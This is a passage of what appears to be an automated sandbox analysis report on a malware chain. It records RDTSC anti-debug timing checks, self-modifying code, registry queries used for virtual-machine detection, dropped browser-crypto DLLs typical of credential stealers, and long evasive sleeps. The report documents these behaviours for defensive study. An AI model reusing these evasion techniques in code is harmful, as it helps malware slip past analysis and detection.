Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A520F5 second address: A52116 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 stc 0x0000000a lea ebx, dword ptr [ebp+12456E9Ah] 0x00000010 xchg eax, ebx 0x00000011 push eax 0x00000012 jl 00007F6BC918D028h 0x00000018 pop eax 0x00000019 push eax 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A52116 second address: A5211A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A5231C second address: A5235B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC918D037h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jnc 00007F6BC918D02Ah 0x00000011 push esi 0x00000012 push edi 0x00000013 pop edi 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 pushad 0x0000001a jmp 00007F6BC918D02Fh 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A6F7B1 second address: A6F7BB instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6BC92F1686h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A6F7BB second address: A6F7C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A6F7C1 second address: A6F7CC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 pop ebx 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A6F948 second address: A6F94C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A6FAB3 second address: A6FAC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 jo 00007F6BC92F1686h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A705A9 second address: A705BE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6BC918D02Dh 0x0000000d rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A652C4 second address: A652CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A70896 second address: A7089F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A70E7E second address: A70EA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F6BC92F1686h 0x0000000a jmp 00007F6BC92F1694h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A70EA0 second address: A70EA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A71007 second address: A7100B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A7100B second address: A71034 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6BC918D026h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jns 00007F6BC918D03Ah 0x00000010 pop eax 0x00000011 pushad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A711FE second address: A71208 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A71208 second address: A7120C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A7120C second address: A7121D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jg 00007F6BC92F169Dh 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A74A80 second address: A74A86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A74A86 second address: A74A8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A38AFA second address: A38AFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A7CCCD second address: A7CCD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A7CF2F second address: A7CF54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jmp 00007F6BC918D039h 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A7CF54 second address: A7CF5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A7D625 second address: A7D634 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F6BC918D026h 0x0000000a popad 0x0000000b pushad 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A7EDB6 second address: A7EDBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A7F87E second address: A7F882 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A7F882 second address: A7F888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A7F888 second address: A7F8A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BC918D036h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A7FA3B second address: A7FA3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A7FA3F second address: A7FA4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push ecx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A801DF second address: A801E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A802AA second address: A802B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A803CA second address: A803CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A8063E second address: A80642 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A80642 second address: A80646 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A41253 second address: A41278 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jnp 00007F6BC918D026h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F6BC918D039h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A41278 second address: A412A1 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6BC92F1688h 0x00000008 push esi 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop esi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 jmp 00007F6BC92F1694h 0x00000018 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A412A1 second address: A412BD instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6BC918D026h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b ja 00007F6BC918D026h 0x00000011 jne 00007F6BC918D026h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A412BD second address: A412C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A82396 second address: A823A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC918D02Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A823A8 second address: A823AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A4489B second address: A4489F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A843E7 second address: A843EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A856F7 second address: A856FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A856FC second address: A85702 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A85702 second address: A85706 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A85706 second address: A85719 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6BC92F1686h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A85719 second address: A85723 instructions: 0x00000000 rdtsc 0x00000002 js 00007F6BC918D026h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A87139 second address: A8713D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A8713D second address: A87151 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC918D030h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A87151 second address: A87161 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F6BC92F1686h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C5FE01 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E0558A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E0B912 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E8CFFA instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Special instruction interceptor: First address: 8CEB70 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D8EB70 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Special instruction interceptor: First address: 121B9C1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Special instruction interceptor: First address: 121BA9B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Special instruction interceptor: First address: 13C660F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Special instruction interceptor: First address: 145048D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Special instruction interceptor: First address: 28BDF0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Special instruction interceptor: First address: 28BE92 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Special instruction interceptor: First address: 431701 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Special instruction interceptor: First address: 45EDEB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Special instruction interceptor: First address: 4C8668 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Special instruction interceptor: First address: 10DFE01 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Special instruction interceptor: First address: 128558A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Special instruction interceptor: First address: 128B912 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Special instruction interceptor: First address: 130CFFA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Special instruction interceptor: First address: 19DDC3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Special instruction interceptor: First address: 5E0DDC3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Special instruction interceptor: First address: 33EA6A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Special instruction interceptor: First address: 33E67F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Special instruction interceptor: First address: 369793 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Special instruction interceptor: First address: 5FAEA6A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Special instruction interceptor: First address: 5FAE67F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Special instruction interceptor: First address: 19DC8A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Special instruction interceptor: First address: 5FD9793 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Special instruction interceptor: First address: 5E0DC8A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Special instruction interceptor: First address: 3D861C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Special instruction interceptor: First address: 604861C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Special instruction interceptor: First address: 5E141DF instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Memory allocated: 5440000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Memory allocated: 55F0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Memory allocated: 75F0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsHDGCAAFBFB.exe

Code function: 23_2_04FD0C7F rdtsc

23_2_04FD0C7F

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 703
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 7940
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Window / User API: threadDelayed 1280
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Window / User API: threadDelayed 1305
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Window / User API: threadDelayed 1023
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	Window / User API: threadDelayed 1043

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 432	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 432	Thread sleep time: -72036s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2264	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3568	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3568	Thread sleep time: -62031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3632	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6800	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6800	Thread sleep time: -62031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4776	Thread sleep count: 44 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4776	Thread sleep time: -88044s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6540	Thread sleep count: 81 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6540	Thread sleep time: -162081s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 796	Thread sleep count: 80 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 796	Thread sleep time: -160080s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6276	Thread sleep count: 69 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6276	Thread sleep time: -138069s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2644	Thread sleep count: 237 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2644	Thread sleep time: -7110000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4080	Thread sleep count: 703 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4080	Thread sleep time: -1406703s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6244	Thread sleep count: 71 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6244	Thread sleep time: -142071s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6672	Thread sleep count: 70 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6672	Thread sleep time: -140070s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8896	Thread sleep time: -360000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4080	Thread sleep count: 7940 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4080	Thread sleep time: -15887940s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe TID: 8892	Thread sleep count: 1280 > 30
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe TID: 8892	Thread sleep time: -2561280s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe TID: 8832	Thread sleep count: 1305 > 30
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe TID: 8832	Thread sleep time: -2611305s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe TID: 8872	Thread sleep count: 1023 > 30
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe TID: 8872	Thread sleep time: -2047023s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe TID: 8800	Thread sleep count: 1043 > 30
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe TID: 8800	Thread sleep time: -2087043s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe TID: 8352	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe TID: 8324	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe TID: 6792	Thread sleep time: -32000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe TID: 7396	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe TID: 8384	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe TID: 8396	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe TID: 8564	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe TID: 7596	Thread sleep time: -50025s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe TID: 6348	Thread sleep time: -32000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe TID: 6476	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe TID: 7620	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe TID: 4092	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe TID: 6024	Thread sleep time: -44022s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe TID: 6544	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe TID: 2704	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe TID: 7016	Thread sleep time: -46023s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe TID: 3508	Thread sleep time: -922337203685477s >= -30000s

